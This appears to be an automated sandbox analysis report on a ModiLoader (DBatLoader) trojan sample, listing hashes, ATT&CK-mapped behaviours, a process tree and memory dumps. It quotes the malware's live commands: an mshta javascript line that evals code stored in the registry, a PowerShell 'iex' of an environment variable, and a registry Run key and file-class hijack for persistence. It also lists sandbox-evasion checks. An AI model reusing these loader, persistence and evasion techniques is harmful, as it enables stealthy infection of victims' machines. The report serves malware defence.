modiloader | 62184398a535b5aa0ccd7457470cdb9ab4fc22aaaed11a19cef2ddba8d75eaf5

General

Target

c6b2d57e8ce70dae5585a096e2e17619.exe
Size

524KB
MD5

c6b2d57e8ce70dae5585a096e2e17619
SHA1

a61e6e668205f7fbdd2bc03dbd9e1ae85c9af241
SHA256

62184398a535b5aa0ccd7457470cdb9ab4fc22aaaed11a19cef2ddba8d75eaf5
SHA512

91c8895086107b72f48988ed807518630529646df26c094e4c4251ef58dc7a099bd59760c92f5ebaf9359d8e5196a4bfd1e3ced0dd8cb0634d0c27bbb8036f23
SSDEEP

6144:PHoex1r1iKzGkYj+eNnHNvdySJbsSt+c4yR83tahDYz2aUIsR3GiXMj9KpJzLIW:/bL6k2+Ak6+hyy3E0bUBR3G2LIW

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 956 1084 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	956	1084	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 12 IoCs

Processes:

resource	yara_rule
behavioral1/memory/848-56-0x0000000000400000-0x000000000048C1E8-memory.dmp	modiloader_stage2
behavioral1/memory/848-55-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/848-57-0x0000000000400000-0x000000000048C1E8-memory.dmp	modiloader_stage2
behavioral1/memory/848-58-0x0000000000490000-0x000000000056C000-memory.dmp	modiloader_stage2
behavioral1/memory/848-59-0x0000000000490000-0x000000000056C000-memory.dmp	modiloader_stage2
behavioral1/memory/1012-64-0x0000000005CB0000-0x0000000005D8C000-memory.dmp	modiloader_stage2
behavioral1/memory/1012-68-0x0000000005CB0000-0x0000000005D8C000-memory.dmp	modiloader_stage2
behavioral1/memory/1724-69-0x00000000002C0000-0x000000000040A000-memory.dmp	modiloader_stage2
behavioral1/memory/848-70-0x0000000000490000-0x000000000056C000-memory.dmp	modiloader_stage2
behavioral1/memory/1696-73-0x0000000000130000-0x000000000027A000-memory.dmp	modiloader_stage2
behavioral1/memory/1724-74-0x00000000002C0000-0x000000000040A000-memory.dmp	modiloader_stage2
behavioral1/memory/1696-75-0x0000000000130000-0x000000000027A000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1724 regsvr32.exe

pid	process
1724	regsvr32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\9e80860\\d83b055.bat\""	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exeregsvr32.exe

description	pid	process	target process
PID 1012 set thread context of 1724	1012	powershell.exe	regsvr32.exe
PID 1724 set thread context of 1696	1724	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:B6ZTgQtT=\"c\";f59H=new ActiveXObject(\"WScript.Shell\");IWQB1SXf=\"fnF\";aFG1i1=f59H.RegRead(\"HKCU\\\\software\\\\xeyhtcugx\\\\dghpxigz\");GB32bt=\"mZIFFuA\";eval(aFG1i1);C3hNBOEj=\"1B9xX0K\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\.fd9f689f	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\.fd9f689f\ = "af6b739"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe
1724	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

1012 powershell.exe
1724 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1012 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

c6b2d57e8ce70dae5585a096e2e17619.exe

pid process

848 c6b2d57e8ce70dae5585a096e2e17619.exe

description	pid	process
Token: SeDebugPrivilege	1012	powershell.exe

pid	process
848	c6b2d57e8ce70dae5585a096e2e17619.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

mshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 956 wrote to memory of 1012	956	mshta.exe	powershell.exe
PID 956 wrote to memory of 1012	956	mshta.exe	powershell.exe
PID 956 wrote to memory of 1012	956	mshta.exe	powershell.exe
PID 956 wrote to memory of 1012	956	mshta.exe	powershell.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1012 wrote to memory of 1724	1012	powershell.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe
PID 1724 wrote to memory of 1696	1724	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\c6b2d57e8ce70dae5585a096e2e17619.exe
"C:\Users\Admin\AppData\Local\Temp\c6b2d57e8ce70dae5585a096e2e17619.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:848

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:ca8SS8xE="7yEPV";Q21m=new%20ActiveXObject("WScript.Shell");Wj5v2z="RC";P6j4tq=Q21m.RegRead("HKCU\\software\\AnPNgVo0i\\7HJLrr");IJa2B8="JJEy9dU";eval(P6j4tq);iEFRr19lu="n";
1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:uadbc
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1696

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

2

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/848-54-0x0000000075041000-0x0000000075043000-memory.dmp

Filesize
8KB

Download
memory/848-56-0x0000000000400000-0x000000000048C1E8-memory.dmp

Filesize
560KB

Download
memory/848-55-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/848-57-0x0000000000400000-0x000000000048C1E8-memory.dmp

Filesize
560KB

Download
memory/848-58-0x0000000000490000-0x000000000056C000-memory.dmp

Filesize
880KB

Download
memory/848-59-0x0000000000490000-0x000000000056C000-memory.dmp

Filesize
880KB

Download
memory/848-70-0x0000000000490000-0x000000000056C000-memory.dmp

Filesize
880KB

Download
memory/1012-63-0x00000000734D0000-0x0000000073A7B000-memory.dmp

Filesize
5.7MB

Download
memory/1012-62-0x00000000734D0000-0x0000000073A7B000-memory.dmp

Filesize
5.7MB

Download
memory/1012-64-0x0000000005CB0000-0x0000000005D8C000-memory.dmp

Filesize
880KB

Download
memory/1012-67-0x00000000734D0000-0x0000000073A7B000-memory.dmp

Filesize
5.7MB

Download
memory/1012-68-0x0000000005CB0000-0x0000000005D8C000-memory.dmp

Filesize
880KB

Download
memory/1012-60-0x0000000000000000-mapping.dmp

Download
memory/1696-71-0x000000000018C6D0-mapping.dmp

Download
memory/1696-73-0x0000000000130000-0x000000000027A000-memory.dmp

Filesize
1.3MB

Download
memory/1696-75-0x0000000000130000-0x000000000027A000-memory.dmp

Filesize
1.3MB

Download
memory/1724-65-0x000000000031C6D0-mapping.dmp

Download
memory/1724-69-0x00000000002C0000-0x000000000040A000-memory.dmp

Filesize
1.3MB

Download
memory/1724-74-0x00000000002C0000-0x000000000040A000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads